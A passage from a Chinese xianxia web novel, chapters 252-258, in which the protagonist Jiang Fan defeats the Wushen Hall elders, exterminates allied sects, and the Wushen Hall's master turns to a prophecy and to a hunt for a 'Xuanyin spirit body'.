竟将那两名陆地神仙刻意营造的威压,冲得一阵晃动!
“之前我便警告过,伤我家人,犯我大夏,便是与我为敌。武神殿若识相,便该夹起尾巴,滚得越远越好!
可你们不听,非要一而再,再而三地挑衅,玩这些上不得台面的把戏!”江凡声音冰冷:
“既然你们给脸不要脸,那便没什么好说的了。有本事,就让你们武神殿那些所谓的高手,都滚过来!只要你们能打赢我,踏着我的尸体过去,自然什么都由你们说了算!”
他眼中寒光爆射,锁定了那两名脸色已然变得极其难看的武神殿长老:
“如果没这个本事,只会躲在暗处,驱使些阿猫阿狗,玩这些威胁逼迫的阴损招数…
那我不介意费点手脚,将你们‘武神殿’和依附势力,全部从这片大陆上,连根拔起,彻底抹去!”
“我说到,做到。”
最后一个字出口的瞬间,陆地神仙体验卡触发,江凡动了!
他身形一晃,直接出现在那两名武神殿长老面前,简简单单,一拳轰出!
这一拳,看似平平无奇,没有浩大声势,没有华丽光影。
但拳锋所过之处,空间仿佛被压缩、扭曲!
一股破碎虚空的恐怖力量,已然将两名长老完全锁定!
“狂妄!”
“找死!”
两名武神殿长老又惊又怒。
他们没想到江凡竟敢主动出手,而且一出手便是如此石破天惊!
那拳意之中蕴含的力量与道韵,让身为陆地神仙的他们感到心悸!
此子,果然诡异!
但箭在弦上,不得不发。
两人同时厉喝,再不敢有丝毫保留。
陆地神仙初期的老者双掌一合,身前浮现一面刻画着玄奥符文的黑色盾牌。
陆地神仙中期的老者则并指如剑,指尖一点璀璨的白金光芒亮起,后发先至,点向江凡的拳头!
“轰——!!!”
拳、盾、指,三者轰然碰撞!
第253章 这不是威胁
没有想象中的僵持。
在江凡至强一拳面前,那面黑色盾牌仅仅支撑了不到半息,便轰然炸裂成漫天光点!
而那点白金指芒,在接触到拳锋的刹那,也瞬间黯淡、崩碎!
“噗!”
“噗!”
两名武神殿长老如遭雷击,同时喷出一大口鲜血,眼中充满了无边的惊骇与难以置信,身形向后抛飞出去!
那陆地神仙初期的老者,双臂诡异地扭曲,胸口塌陷,气息瞬间萎靡到了极点,显然已受重创。
而那名陆地神仙中期的老者,虽稍好一些,但也是脸色惨白,指骨折断,体内气血翻腾,真元紊乱。
一拳,重创两名陆地神仙!
其中还包括一名陆地神仙中期!
这骇人听闻的一幕,不仅让拓跋雄和那些北莽高手吓得魂飞魄散,瘫软在地。
“你…你这不是极道宗师!你隐藏了修为?”
那陆地神仙中期的老者勉强稳住身形,死死盯着江凡,声音因惊怒和伤势而颤抖。
江凡刚刚出现的时候,明明感应到只有极道宗师巅峰修为,但动手的时候却变成陆地神仙巅峰。
他绝不相信,一个极道宗师能强到这种地步!
江凡没有回答,只是冷冷地看着他们,一步步向前逼近。
每踏出一步,身上的杀意便浓郁一分,那恐怖的威压压得两名重伤的武神殿长老几乎喘不过气,更让远处的拓跋雄等人肝胆俱裂。
“小子!你真要与我武神殿不死不休吗?!”
陆地神仙初期的老者色厉内荏地嘶吼,
“就算你实力强横,能胜我二人又如何?武神殿高手如云,陆地神仙只是中坚,其上更有更恐怖的存在!你杀得完吗?你今日若敢杀我们,便是彻底与武神殿**!
届时,不仅你要死,你身边的人,你的女人,你的家族,你那个刚刚坐稳皇位的女帝,统统都要为你陪葬!武神殿的怒火,会将整个大夏烧成灰烬!你能护得住几个?!”
这是最恶毒、也最直接的威胁。
攻击本人不行,便以亲友、以家国相胁。
这正是大势力惯用的、也是最令人投鼠忌器的手段。
然而,江凡闻言,非但没有被吓住,眼中的杀意反而彻底爆发!
他最恨的,便是别人拿他身边的人威胁他!
这触犯了他绝对的逆鳞!
“老子什么都怕,”江凡的声音平静,“就是不怕威胁!”
他身形再动,如同鬼魅般出现在那重伤的陆地神仙初期老者面前,在对方惊恐绝望的目光中,一掌按在了其丹田之上!
“呃啊——!!!”
凄厉到极点的惨叫响彻夜空!
那老者周身气息如同泄了气的皮球,疯狂外泄,修为以肉眼可见的速度暴跌,陆地神仙、极道宗师、大宗师、宗师…
不过数息,便彻底消散,变成了一个没有丝毫真气的普通老者,而且因修为被强行废去,经脉尽毁,生机迅速流逝,眼看是活不成了。
“你、你敢废我修为?!武神殿不会放过你的!不会放过所有跟你有关系的人!”
那老者瘫倒在地,嘶声诅咒,眼中充满了怨毒。
没有修为支撑,他们的寿命也基本到头了。
江凡看都没看他一眼,目光转向那吓得面无人色、连连后退的陆地神仙中期老者,语气森然:
“回去告诉武神殿那些藏在阴沟里的老鼠。”
“从今日起,我身边的人,无论谁出事,哪怕只是掉了一根头发,我都会算在你们武神殿头上!”
“你们杀我一个亲人,我便灭你们一百个附属势力!你们动我一个朋友,我便斩你们一千个所谓高手!你们敢碰大夏一寸土地,我便让你们武神殿传承断绝,鸡犬不留!”
“我说到做到。不信,你们大可以试试。至于你们武神殿真正的高手…”江凡嘴角勾起一抹弧度,
“我随时恭候,让你们殿主,还有什么太上长老、隐世老祖,都滚出来,让我看看,你们武神殿,到底有多少斤两,值不值得我费心去‘抹去’!”
说完,他不再看那吓得魂不附体的武神殿中期长老。
转身,目光如电,扫过瘫软在地的拓跋雄和那些北莽高手,以及远处那无数瑟瑟发抖的北莽士兵。
他的声音,清晰地传遍了整个死寂的营地,带着一种宣判:
“北莽听着,回去告诉你们北莽皇帝,两国交兵,本可堂堂正正于
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沙场决胜。若尔等执迷不悟,继续勾结外敌,行此龌龊偷袭之举,或再敢犯我大夏边境…”
他顿了顿,语气平淡,却蕴含着比寒冬更甚的酷烈:
“那今日之下场,便是尔等前车之鉴。任何敢于帮助北莽,与我大夏为敌的势力、个人,无论他背后站着谁,我江凡,必亲临其山门,斩尽杀绝,鸡犬不留,将其从世间彻底除名。”
话音落下,江凡的目光落在几名面如死灰、瘫软在地的江湖门派高手身上。
这些人,正是之前参与**镇国公江撼岳的几大门派残余,包括五毒教、血煞门、黑风寨、天鹰堡等在江湖上亦正亦邪、凶名昭著的势力代表。
他们本是被北莽和武神殿重利所诱,或是被武力胁迫而来,此刻却在江凡那冰寒的目光下瑟瑟发抖。
“哦,差点忘了。”江凡的声音再次响起,
“你们这几家,五毒教、血煞门、黑风寨、天鹰堡…还有其他跟着摇旗呐喊的杂鱼。既然有胆子参与**我父亲,就得有承受后果的觉悟。”
他凌空而立,玄衣猎猎,语气平淡地宣布着残酷的命运:
“天亮之前,我会亲自登门拜访。放心,不需要你们准备什么,我自会为尔等满门,备好‘厚礼’。”
“今日之后,北境江湖,再无尔等名号。”
“我就是要用你们的尸山血海告诉这天下所有人,”江凡的目光陡然转厉,
“规矩,是给守规矩的人定的。既然你们先坏了规矩,用下作手段对付我的家人,那就别怪我江凡,也不讲什么江湖道义,武德规矩!”
“从今往后,无论是谁,无论哪个门派、哪个势力,只要敢再与武神殿勾结,在大夏境内搅动风云,敢对我身边之人伸出一根手指头…”
他顿了顿,眼中杀意几乎凝为实质:
“武神殿,我尚且不放在眼里,尔等蝼蚁,更是不值一提。今日这几派,便是榜样!我必倾尽全力,将其连根拔起,满门诛绝,鸡犬不留!”
“记住,这不是威胁,这是通知。”
说完,他再也不看下方那些江湖高手,身形化作一道流光,朝着镇北关的方向疾驰而去,留下一地死寂和无边恐惧。
第254章 我自有分寸
“完了…全完了…”
一名五毒教的长老瘫坐在地,失魂落魄地喃喃自语,随即猛地抓住身边一名同样面无人色的血煞门**,嘶声道:
“快、快传讯!用最快的速度告诉教主、告诉门主大祸临头了!那煞星要来灭门了,让他们快逃,能逃多少是多少啊!”
“逃?往哪里逃?”
血煞门**惨然一笑,眼中满是绝望,
“他能一夜之间从京城赶到北境,能一人杀穿十万大营,能一招废掉陆地神仙…我们…我们逃得掉吗?”
但求生欲驱使下,这些人还是挣扎着爬起,或是掏出传讯符箓,或是放出驯养的异种飞禽,不顾一切地将消息,向着各自门派传递出去。
就在北莽大营彻底陷入混乱、人人自危之际,南面方向,忽然响起了震天的战鼓与嘹亮的号角声!
紧接着,是迅速逼近的、整齐而充满杀气的马蹄声与脚步声!
是镇北军!
大夏的边军杀出来了!
原来,江撼岳重伤初愈,虽未完全恢复,但得知爱子孤身杀入敌营,心急如焚,不顾劝阻,强行披挂上阵。
他深知此乃千载难逢之机,北莽军心已彻底**凡一人击溃,此时不出击,更待何时?
当即点齐麾下最精锐的铁骑与步卒,大开城门,朝着已是一片混乱的北莽大营发起了排山倒海般的冲锋!
“大夏的儿郎们!随我杀!踏平敌营,为死去的弟兄报仇!”
江撼岳一马当先,那股百战老将的冲天杀气与悍勇,瞬间点燃了所有镇北军将士的热血!
“报仇!报仇!报仇!”
“杀!杀光北莽蛮子!”
憋屈了许久的镇北军,在江撼岳的率领下,以雷霆万钧之势,狠狠撞入了毫无组织、士气崩溃的北莽大营之中。
此时的北莽大军,早已**凡杀得魂飞魄散。
主将拓跋雄吓得缩在金顶大帐内不敢露面,各级将领或死或逃,指挥系统完全瘫痪,士兵们只顾着亡命奔逃,哪里还有半分抵抗的意志?
面对战意高昂的镇北军,简直如同待宰的羔羊。
**,一面倒的**。
刀光剑影,血肉横飞。
镇北军铁骑肆意冲锋践踏,步卒紧随其后,收割着一条又一条北莽士兵的性命。
哀嚎声、求饶声、兵刃入肉声、火焰燃烧声…交织成一曲血腥的死亡乐章。
整个北莽大营,彻底变成了人间炼狱。
江凡并未走远。
他在高空云层之上,静静俯瞰着下方的一切。
陆地神仙体验卡的效果仍在,御空飞行对他而言毫不费力。
他刻意收敛了大部分气息,但并未完全隐藏身形。
偶尔,他会降低一些高度,让下方溃逃的北莽士兵能看到那道如同梦魇般的玄衣身影。
每当那道身影出现在某个方向的夜空中,那个方向的北莽溃兵便会发出更加惊恐的尖叫,自相践踏而死者不计其数。
江凡的存在,就像一柄悬在所有北莽人头上的利剑,将他们最后一丝反抗或组织起来的勇气,彻底碾碎。
“是那个恶魔!他还在!”
“快跑!往那边跑!”
“别挡道!滚开!”
江撼岳率领镇北军,一路追杀,如入无人之境。
从镇北关下,一直追杀出数十里,沿途北莽士兵尸横遍野,丢弃的兵甲、粮草、旗帜不计其数。
直到天色微明,追到了一处险要山口,江撼岳才勒住战马,下令停止追击,原地休整,清点战果,防备可能的埋伏。
“痛快!哈哈哈!自老夫镇守北境以来,从未杀得如此痛快!”
江撼岳驻马山头,看着下方丢盔弃甲的北莽溃兵,以及漫山遍野缴获的物资,忍不住放声大笑,胸中多日来的郁气一扫而空。
这一战,斩首无数,俘获甚众,更关键的是彻底击溃了北莽此次南侵的精锐主力,至少可保北境十年太平!
而这一切,几乎全赖自己那妖孽般的儿子!
他抬头,望向空中那道缓缓降落的身影,眼中充满了自豪和激动。
儿子长大了,强得超出了他的想象,也…杀伐果断得让他这个久经沙场的老将都有些心惊。
江凡轻飘飘落在父亲马前,身上纤尘不染。
“爹,您的伤势未愈,不宜久战,追杀至此已足矣。穷寇莫追,当心狗急跳墙。”
江凡语气平静
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,递过一瓶温养的丹药。
江撼岳接过丹药,没有立即服用,而是看着儿子,沉声道:
“凡儿,接下来你有什么打算?”
面对老爹的询问,江凡没有隐瞒,“我要离开一趟,将所有参与朝廷战争的门派全部清理一遍!”
“什么?你…要去找那几个门派?”
江撼岳瞬间明白了江凡的打算,这是要杀鸡儆猴,让所有想帮助武神殿的门派知道他的底线和手段。
江凡点了点头,眼神没有丝毫波动:
“话已出口,必须做到。不仅要灭,还要灭得干净利落,灭得天下皆知。唯有如此,才能形成足够的威慑,让那些蝇营狗苟之辈,在动歪心思之前,先掂量掂量自己的脑袋够不够硬。
否则,今日是五毒教血煞门,明日就可能是其他阿猫阿狗。武神殿能驱使一次,就能驱使第二次。只有杀到他们怕,杀到他们胆寒,杀到无人敢应武神殿之召,我们才能真正清净。”
江撼岳沉默片刻,叹了口气。
他明白儿子的意思,慈不掌兵,义不理财,仁不执政。
江湖朝堂,很多时候比战场更残酷,更不讲道理。
今日若手软,明日便可能有无穷后患。
只是…
“**太多,终究有伤天和,于你心境或有妨碍。务必小心,那些门派经营多年,老巢必有机关陷阱,困兽犹斗,最是危险。”
“爹放心,我自有分寸。”
江凡微微一笑,只是那笑容里并无多少温度,
“至于心境…我之道,但求无愧于心,快意恩仇。阻我道者,斩之;犯我亲者,灭之。这便是我的道。”
他不再多言,对父亲和周围的将士们微微颔首,身形再次化作流光,这次是朝着东北方向——
距离镇北关最近、也是参与**中跳得最欢的‘五毒教’总坛所在——疾射而去。
江撼岳望着儿子消失在天际的身影,握紧了手中的丹药瓶,最终只是对左右吩咐道:
“速速打扫战场,救治伤员,加强戒备!另外,将昨夜与今日之战况,详细记录,以六百里加急,快马报与陛下知晓!”
“是!元帅!”
……
第255章 记得擦亮眼
五毒教,总坛位于北境与漠北交界处的一片毒瘴沼泽深处。
建筑多以奇木竹石搭建,依毒瘴险地而建,易守难攻。
更布满无数毒虫陷阱,寻常军队乃至武林高手,轻易不敢靠近。
然而,今日,这片让无数人谈之色变的险地,迎来了它命中的煞星。
天色刚亮,一道流光径直落在了五毒教寨门之前。
“来者何人!竟敢擅闯我五毒…”
守门的几名五毒教弟子话音未落,便看到来人如此年轻。
昨夜接到传讯的恐惧瞬间让他们的声音卡在喉咙里,化作了一声尖叫:
“是、是江凡!逍遥帝君,他来了...他真的来了!”
警报的锣声与竹哨声瞬间响彻整个五毒教总坛。
江凡看都没看那几个守门弟子,目光扫过眼前透着诡异阴森气息的寨落。
他能感知到,寨中此刻已然乱成一团,一些强大的气息正在迅速朝着几个核心位置汇聚。
更有无数带着剧毒的活物,从沼泽、从草丛、从建筑的各个角落向他涌来。
毒蛇、毒蝎、毒蜈蚣、色彩斑斓的毒蛛…密密麻麻,嘶嘶声、爬行声令人毛骨悚然。
“雕虫小技。”
江凡淡淡开口,甚至没有做出任何动作。
只是心念微动,周身浮现一道淡淡金色光晕。
修为到了这地步,一般的蛇虫鼠蚁根本奈何不了他。
甚至在接触到护体光晕时,会迅速消融、净化,无法侵入分毫。
江凡就这样,一步一步朝着五毒教寨门走去。
所过之处,毒虫死绝,毒瘴辟易,在身后留下一道干净而无害的路径。
“放箭!用破罡**!毒火油!杀了他!”
寨墙上,一名五毒教长老声嘶力竭地吼叫着,面容恐惧。
武神殿的陆地神仙都被他杀着玩,逍遥公子的凶名的确让他们忌惮。
顿时,无数淬了剧毒的**箭激射而来,其中夹杂着一些特制的箭矢,显然是专破真气护体的破罡箭。
更有许多陶罐被投掷出来,在半空中炸开,泼洒下大片黑色液体,遇空气即燃,化作熊熊的毒火,覆盖而下。
江凡脚步不停,只是抬起右手,对着前方轻轻一按。
一股无形的巨力轰然爆发!
所有射来的**箭在距离江凡尚有数丈远时,便纷纷折断、碎裂、倒飞而回!
那些泼洒下来的毒火油,更是被这股巨力反卷回去,反而将寨墙上的五毒教弟子烧得哭爹喊娘,惨叫声不绝于耳。
“轰隆!”那看似坚固的寨门,在这隔空一按之下,轰然炸裂成无数碎片。
烟尘中,江凡的身影缓缓走入寨中。
迎接他的,是五毒教最后的、也是最疯狂的反扑。
数十名气息不弱的长老、**、真传弟子,在一个面容枯槁的老妪率领下,结成了一个古怪的阵法。
阵法中央,供奉着一尊狰狞的毒神像,此刻正散发着诡异的绿光。
所有结阵之人,都将自身精血与真气疯狂注入阵法之中。
“万毒噬心大阵,起!以我教千年传承,万毒之源,咒杀此獠!”
老妪喷出一口心头精血在毒神像上,厉声尖叫。
顿时,那毒神像绿光大盛,一股浓郁的毒雾喷涌而出,在空中迅速凝聚成一条庞大无比的恐怖巨**,张开大口朝着江凡猛噬而来!
这毒雾巨**所过之处,空气都被腐蚀得滋滋作响,地面石板迅速变黑、酥脆、化为飞灰。
显然蕴含着恐怖至极的混合剧毒与诅咒之力,足以腐蚀真元,毒杀神魂,便是极道宗师陷入其中,也凶多吉少。
这是五毒教压箱底的拼命手段,燃烧底蕴,咒杀强敌。
面对这足以让寻常极道宗师色变的攻击,江凡终于第一次停下了脚步。
他抬头,看着那扑来的毒雾巨**,眼中闪过一丝不耐。
“花样倒是不少,可惜,华而不实。”
为了造成最大震慑效果,避免五毒教的人逃走,他直接使用一张体验卡。
经过一晚上发酵,人气值已经超过了千万,所以不担心人气值消耗。
实力瞬间灌顶,他并指如剑,指尖一点金光亮起,那是高度凝聚道韵的极致剑气!
“斩。”
轻轻吐出一个字,指
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尖金光一闪而逝。
那扑到半空的毒雾巨**,动作骤然僵住。
下一秒...
“嗤——”
墨绿色的毒雾巨**被那一道金线,从正中,整整齐齐地一分为二!
随即,两半残躯噗的一声,化作漫天绿色的光点,迅速消散在空气中,连一丝毒气都未能留下。
“噗!”
“噗!”
“噗!”
阵法核心处,以老妪为首的所有五毒教高层,齐齐狂喷鲜血,气息瞬间萎靡到了极点,眼中充满了恐惧与绝望。
阵法被暴力破去,反噬之力直接重创了他们的本源。
逍遥公子,果然名不虚传!
“教主!”
“跟他拼了!”
一些悍不畏死的弟子,绝望中挥动着兵器冲上来。
江凡甚至懒得再看他们一眼,只是抬起脚,轻轻一跺。
“咚!”
一声闷响,仿佛整个山头都震颤了一下。
以他为中心,一股无形的震荡波呈环形扩散开来。
所有冲上来的五毒教弟子,无论修为高低,在接触到震荡波的瞬间,便身体猛地一僵,随即七窍流血,软软倒地,生机断绝。
江凡的目光,落在了那面色惨白的老妪身上,也扫过那些瘫倒在地、满眼绝望的五毒教高层。
“下辈子,记得擦亮眼睛,别惹不该惹的人。”
话音落下,他屈指一弹,数十道金色剑气激射而出,精准地没入每一个五毒教先天以上高手的眉心。
包括那老妪在内,所有五毒教的核心高层、精锐骨干,身体齐齐一颤,眼中的神采迅速黯淡下去,最终归于死寂。
江凡没有去屠戮那些普通弟子和杂役。
一来,那些人威胁不大,也未必都参与了对父亲的**;二来,他需要有人将这里发生的一切传递出去。
但他也没有放过五毒教的积累,神识扫过,将藏宝库、毒经秘典等重要之物,连同那尊诡异的毒神像,尽数收入系统空间。
做完这一切,他身形冲天而起,化作流光,朝着下一个目标——位于西北荒漠边缘的‘血煞门’总坛而去。
第256章 武神殿殿主
接下来的大半天时间里,江凡化身索命修罗,以雷霆万钧之势,接连造访了血煞门、黑风寨、天鹰堡。
血煞门,以炼化生灵血气修炼邪功,总坛设在一处隐蔽的血色峡谷,布有‘血海大阵’,可化人精血,污人法宝。
江凡将血煞门主连同其精心培养的三十六名‘血煞卫’全部击杀,捣毁其核心血池,收缴邪功典籍与积累的血色晶石。
黑风寨,实为大型马匪团伙老巢,盘踞险峻黑风山,擅用机关陷阱、迷烟**,来去如风。
江凡亲手击杀包括寨主在内的七名大宗师以上匪首,余者溃散,焚毁其聚义厅,带走历年劫掠的财货。
天鹰堡,以驯养异种猛禽、擅长空中袭杀著称,堡垒建于悬崖之巅,易守难攻。
江凡御空而至,以剑气远程点杀试图操纵鹰群反击的堡主与长老,摧毁其驯鹰台与传承秘卷。
每到一处,皆是先以绝对实力碾压破防,再精准击杀其先天以上高手,摧毁其核心传承与重要建筑,收缴有价值之物,最后飘然离去。
整个过程高效、冷酷、不留余地。
在这之间,可能会有些核心弟子逃走,但都不重要。
他需要的是传达出自己的态度,跟自己为敌,那就要做好被灭门的准备。
消息如同长了翅膀,以比江凡飞行更快的速度,在北境、在周边数国、在整个江湖疯狂传播、发酵。
“五毒教被灭了!满门高层死绝,总坛被毁!”
“血煞门也完了!血池干涸,门主被天雷劈死!”
“黑风寨被攻破,七大当家无一幸免!”
“天鹰堡的鹰都反噬了!堡主死在自家豢养的金翎雕爪下!”
“是逍遥帝君江凡!他真的说到做到!一天之内,连灭四大门派!”
“太狠了!太霸道了!先天以上,一个不留啊!”
“武神殿…武神殿这次踢到铁板了!这江凡,是个疯子!是个杀神!他根本不怕威胁!”
整个北境江湖,风声鹤唳,人人自危。
尤其是那些与武神殿有过些许瓜葛,或是曾经对江家、对大夏有过不轨心思的势力,更是吓得魂不附体,连夜销毁证据,约束门人。
有的甚至直接封山闭门,宣布断绝与外界一切联系,生怕被那煞星找上门来。
江凡用最血腥的方式,向全天下宣告了他的逆鳞,和他报复的酷烈手段。
这种毫不妥协、不计后果、以牙还牙以血还血的强硬姿态,确实起到了前所未有的震慑效果。
至少在北境乃至大夏周边,短时间内,绝无任何势力敢再明着与武神殿勾结,去触碰江凡的霉头。
然而,如此狠辣决绝、毫不留情的灭门之举,固然震慑了无数宵小,却也毫无疑问地,将武神殿彻底得罪**。
大陆中央,那片被无数阵法笼罩、云雾缭绕的山脉深处,那座巍峨庄严、俯瞰众生的武神殿主殿之内。
“啪!”
一盏由上等灵玉雕琢而成的茶杯,被狠狠摔在地上,瞬间粉身碎骨。
灵茶溅了一地,也溅在了匍匐在地、瑟瑟发抖的那名陆地神仙中期长老身上。
“废物!一群废物!”
怒吼声在主殿中回荡。
发出怒吼的,是端坐在大殿尽头、高高在上的宝座中的一位须发皆白的紫袍男子。
男子面容清瘦,但此刻双目喷火,额角青筋跳动,周身散发着令人窒息的恐怖威压!
正是武神殿当今殿主,夏侯尊。
陆地神仙寿命可活千年,而这位殿主,已经活了两千多年。
其修为,根本无人清楚究竟达到何种地步。
夏侯尊缓缓坐直了身体。
他看上去不过三十许人,面容俊朗,剑眉星目,皮肤光洁得没有一丝皱纹,唯有一头长发与垂至胸前的长须,显得十分诡异。
这奇异的反差,让他既拥有年轻人的蓬勃英气,又沉淀着久居上位的深沉威严,更透着一股莫名的沧桑。
很快,他那双深邃的眼眸中,怒火已然平息,开始陷入沉思。
下方,那位从北境侥幸逃回、修为被废的陆地神仙中期长老,依旧匍匐在地,头也不敢抬。
两侧的十几位核心长老,也都屏息凝神,等待着殿主的最终决断。
“都退下吧。”
良久,夏侯尊终于开口,声音恢复了平日的淡然,
“传本座谕令:即日起,武神殿明面上,暂缓一切针
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对江凡及大夏国的直接行动。撤销之前的‘天’字追杀令与全面制裁令。”
“什么?!”
“殿主!这…”
此言一出,下方长老一片哗然,不少人脸上露出难以置信和愤慨之色。
被人如此打脸,连灭四大附庸,废杀长老,竟然要暂缓报复?
这要是传出去,武神殿的威严何存?
夏侯尊目光平静地扫过众人,那目光并不凌厉,却让所有出声质疑的长老瞬间噤声,感到一股无形的压力笼罩周身。
“本座的话,没听清?”他语气依旧平淡。
“属下不敢!”众长老连忙躬身。
“明面上,暂缓。”
夏侯尊重复了一遍,强调道,
“并非不作回应,着‘暗影堂’、‘天罗堂’暗中行事,挑选可靠的外围势力,于大夏国境周边,乃至其国内,制造些不大不小的麻烦。
可以是边患骚乱,可以是粮价波动,可以是流言散布,也可以是对其朝中某些不稳分子的暗中支持。
记住,要做得隐蔽,务必切断与武神殿的直接联系,绝不能让那江凡抓到确凿把柄。
眼下,我武神殿有更重要的事情要做,不宜与一个潜力未知、实力诡异的疯子全面开战,徒耗精力。”
他顿了顿,目光望向殿外那无垠的云海与远山,语气中带上了一丝肃穆与期待:
“‘天渊之眼’的波动越来越频繁了,‘那个日子’或许比我们预计的还要提前。所有核心长老,从即日起进入‘战备静修’状态,随时听候调遣。资源调配,向‘启天计划’全面倾斜。与此相比,江凡之事根本不重要。”
提到‘天渊之眼’和‘启天计划’,在场所有核心长老的神色都变得无比郑重,眼中甚至流露出狂热与向往。
他们明白殿主所说的‘更重要的事情’意味着什么——
那是一个关乎武神殿万载根基,甚至关乎在场所有人能否打破寿命桎梏、窥见更高层次的惊天机缘!
相比之下,与江凡的意气之争,确实可以暂时押后。
“殿主英明!”
众长老齐声应诺。
虽然对江凡的恨意未消,但孰轻孰重,他们分得清。
第257章 天机门预言
夏侯尊微微颔首,继续吩咐:
“不过,对江凡及其身边亲近之人的监视,不仅不能放松,还要加强。动用我们在四季堂最深的那枚棋子,务必掌握他们的一举一动,任何异动,即刻来报。但切记,只可监视,不得擅自行动打草惊蛇。”
“是!”
命令一道道传达下去,殿内长老纷纷领命,开始有序退下安排。
很快,大殿内便只剩下夏侯尊,以及侍立在他王座旁阴影中的一位始终沉默寡言的黑袍老者——武神殿大长老,也是夏侯尊最信任的臂助,影老。
待众人退尽,影老才用沙哑低沉的声音缓缓开口:
“殿主,那江凡…当真如此令您忌惮?即便他有陆地神仙巅峰战力,以我殿底蕴,三位太上长老齐出,配合‘周天星辰大阵’,镇杀他应当不难。何须暂避锋芒,徒惹天下非议?”
夏侯尊没有立刻回答。
他靠在王座之上,双眼微阖,仿佛在追忆极其久远的往事。
良久,他才幽幽一叹。
“影,你跟了我多久了?”
“自殿主于‘陨星谷’救下老奴残躯,已有一千八百三十七年。”
影老恭敬答道。
“一千八百多年了…”
夏侯尊睁开眼,眼中流露出追忆之色,
“那时候,本座也还是个心高气傲、自以为天之骄子的毛头小子,虽有些天赋,却远未登堂**。
一次秘境探险,九死一生,却也因祸得福,得了些机缘。出来之后,意气风发,觉得天下之大,尽可去得。”
他顿了顿,目光变得悠远:
“就在那时,我遇到了一个人。一个疯疯癫癫,披头散发,躺在路边晒太阳的老乞丐。
我本不欲理会,他却忽然拉住我,浑浊的眼睛盯着我看了许久,然后说了一些莫名其妙的话。”
“他说了什么?”影老问道。
这段往事,他跟随夏侯尊多年,却也未曾听其详提。
夏侯尊一字一句,缓缓复述,仿佛在模仿当年那老乞丐的语气:
“紫气东来三**,一朝入主武神宫。翻手为云覆手雨,大陆称尊莫敢从。”
影老眼中精光一闪:
“这是…预言殿主您将执掌武神殿,称霸大陆?”
夏侯尊点了点头,又摇了摇头:
“当时我只以为是疯话,并未在意,还觉得这老乞丐是想讨些赏钱。可他却拉着我不放,又盯着我的脸看了半晌,眉头越皱越紧,最后又嘟囔了几句,声音很低,我当时没太听清,只隐约记得几个词…”
他闭上眼睛,似乎在竭力回忆,片刻后,才用不确定的语气道:
“似乎是什么‘然盛极必衰,月满则亏…星火起于微末,平凡可撼天穹…终有一败,败于…平凡?’对,是‘平凡’!他说我终有一败,会败给‘平凡’!”
夏侯尊睁开眼,眼中闪过一丝凌厉与困惑:
“当时我只觉荒谬绝伦,我夏侯尊若真能走到那一步,俯瞰大陆,怎会败给‘平凡’?何为平凡?是碌碌无为的凡人?
还是指那无法抗拒的、令万物终将腐朽的‘平凡’岁月?我百思不得其解。那老乞丐说完,便推开我,摇摇晃晃地走了,我再寻时,已不见踪影。
后来多方打听,才隐约知晓,那老乞丐的形貌,与早已销声匿迹、据说可窥探天机的‘天机门’最后一位长老,有七八分相似。”
影老沉默片刻,消化着这惊人的秘闻,缓缓道:
“殿主是怀疑…那江凡,便是预言中,会导致您…失败的‘平凡’?因为他的名字里,有一个‘凡’字?”
“不错。”夏侯尊眼中忌惮之色更浓,
“此子横空出世,年纪轻轻,修为却诡异地高深莫测。行事看似鲁莽霸道,实则步步为营,每每出人意料。更关键的是,他崛起的速度太快,快得不合常理!
本座活了两千余载,见过的天才妖孽如过江之鲫,却从未有一人,能如他这般。而且,他名中带‘凡’…这未免太过巧合。那老乞丐的预言,前半部分已然应验。这后半部分…”
他没有说下去,但意思已然明了。
宁可信其有,不可信其无。
尤其是到了他这等境界,对冥冥中的天意与因果,有着更深的敬畏。
“所以殿主才决定暂避其锋,先集中力量应对‘天渊之眼’的机缘?若能借此机会再进一
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步,甚至…
触摸到那传说中的仙境,届时,任凭他江凡如何不凡,在绝对的实力差距面前,也翻不起浪花。”
影老恍然。
“正是此理。”
夏侯尊颔首,眼中重新燃起炽热的光芒,
“与永生成仙相比,一时的荣辱得失,又算得了什么?待本座功成,莫说一个江凡,便是这整片大陆,也将彻底匍匐在我武神殿脚下!”
夏侯尊说着,指间把玩着一枚仅有鸽卵大小、表面却天然铭刻着无数细密玄奥纹路的奇异石子。
此刻,这枚石子正散发出微弱的乳白色光晕,并且…以一种几乎难以察觉的频率,轻轻震颤着。
“又出现了…而且,反应比几日前强烈了数倍!”
夏侯尊低声自语,声音中带着激动。
他抬起手,仔细感受着石子传来的微弱波动,最终指向了…南方偏东。
那个方向,属于大夏。
他霍然起身,声音中带着前所未有的热切:
“传本座最高谕令:自即日起,‘天启计划’优先级提至最高!所有资源、人力,向此计划无条件倾斜!
‘暗影堂’、‘天罗堂’、‘巡天阁’,暂停其他一切非必要任务,全力搜寻‘玄阴灵体’之所在!”
“玄阴灵体?!”
影老闻言浑身剧震,眼中爆发出狂喜光芒。
他比谁都清楚,‘玄阴灵体’对于武神殿,对于殿主夏侯尊,对于那个谋划了上千年的‘天启计划’,意味着什么!
那是计划最核心、最不可或缺的一环!
是打开‘天渊之眼’最深秘密的唯一钥匙!
千年前,他们耗费无数代价,从一处上古遗迹中得到了这枚‘寻灵古鉴’的子石,并知晓了‘玄阴灵体’的存在与对其计划的至关重要性。
然而数百年来,这枚子石都寂然无声,直到二十年前才散发出一次微弱感应。
因为时间太短,根本没能获取方位。
没想到,就在与江凡冲突爆发、殿内人心浮动之际,这‘寻灵古鉴’竟然产生了如此清晰而强烈的反应!
“殿主,古鉴所指方向是?”
“大夏境内,东南方向。”
第258章 系在你身上
夏侯尊目光灼灼,继续下令:
“立刻动用我们在四季堂最深处、最高级别的暗桩!启动在大夏境内所有埋藏最深的眼线!
不惜一切代价,查探大夏东南方向,近二十年出生、年龄在十八至二十二岁之间、生辰八字极阴、且可能具备特殊体质的女子!发现任何可疑线索立刻上报!”
“是!”影老凛然应命。
他明白,与寻找‘玄阴灵体’相比,与江凡的恩怨、武神殿一时的面子,的确都成了可以暂时搁置的小事。
一旦得到‘玄阴灵体’,助殿主完成天启计划,获取‘永恒道果’,那么武神殿将真正超脱这方大陆,成为凌驾众生的存在!
届时,区区江凡,弹指可灭!
“那江凡那边…”影老询问道。
夏侯尊眼中寒光一闪,嘴角勾起一抹弧度:
“明面上,按兵不动,甚至可以让步示弱,麻痹于他。暗地里,对其本人及其身边所有人的监视,提升到最高等级!
尤其是与其关系密切的女子,一个都不许漏过!本座有种预感…这‘玄阴灵体’的突然显现,或许…
与这横空出世的江凡,有着某种我们尚未察觉的关联。江凡崛起于大夏京城,而这灵体亦在大夏境内…太过巧合。查!给本座细细地查!”
“遵命!”
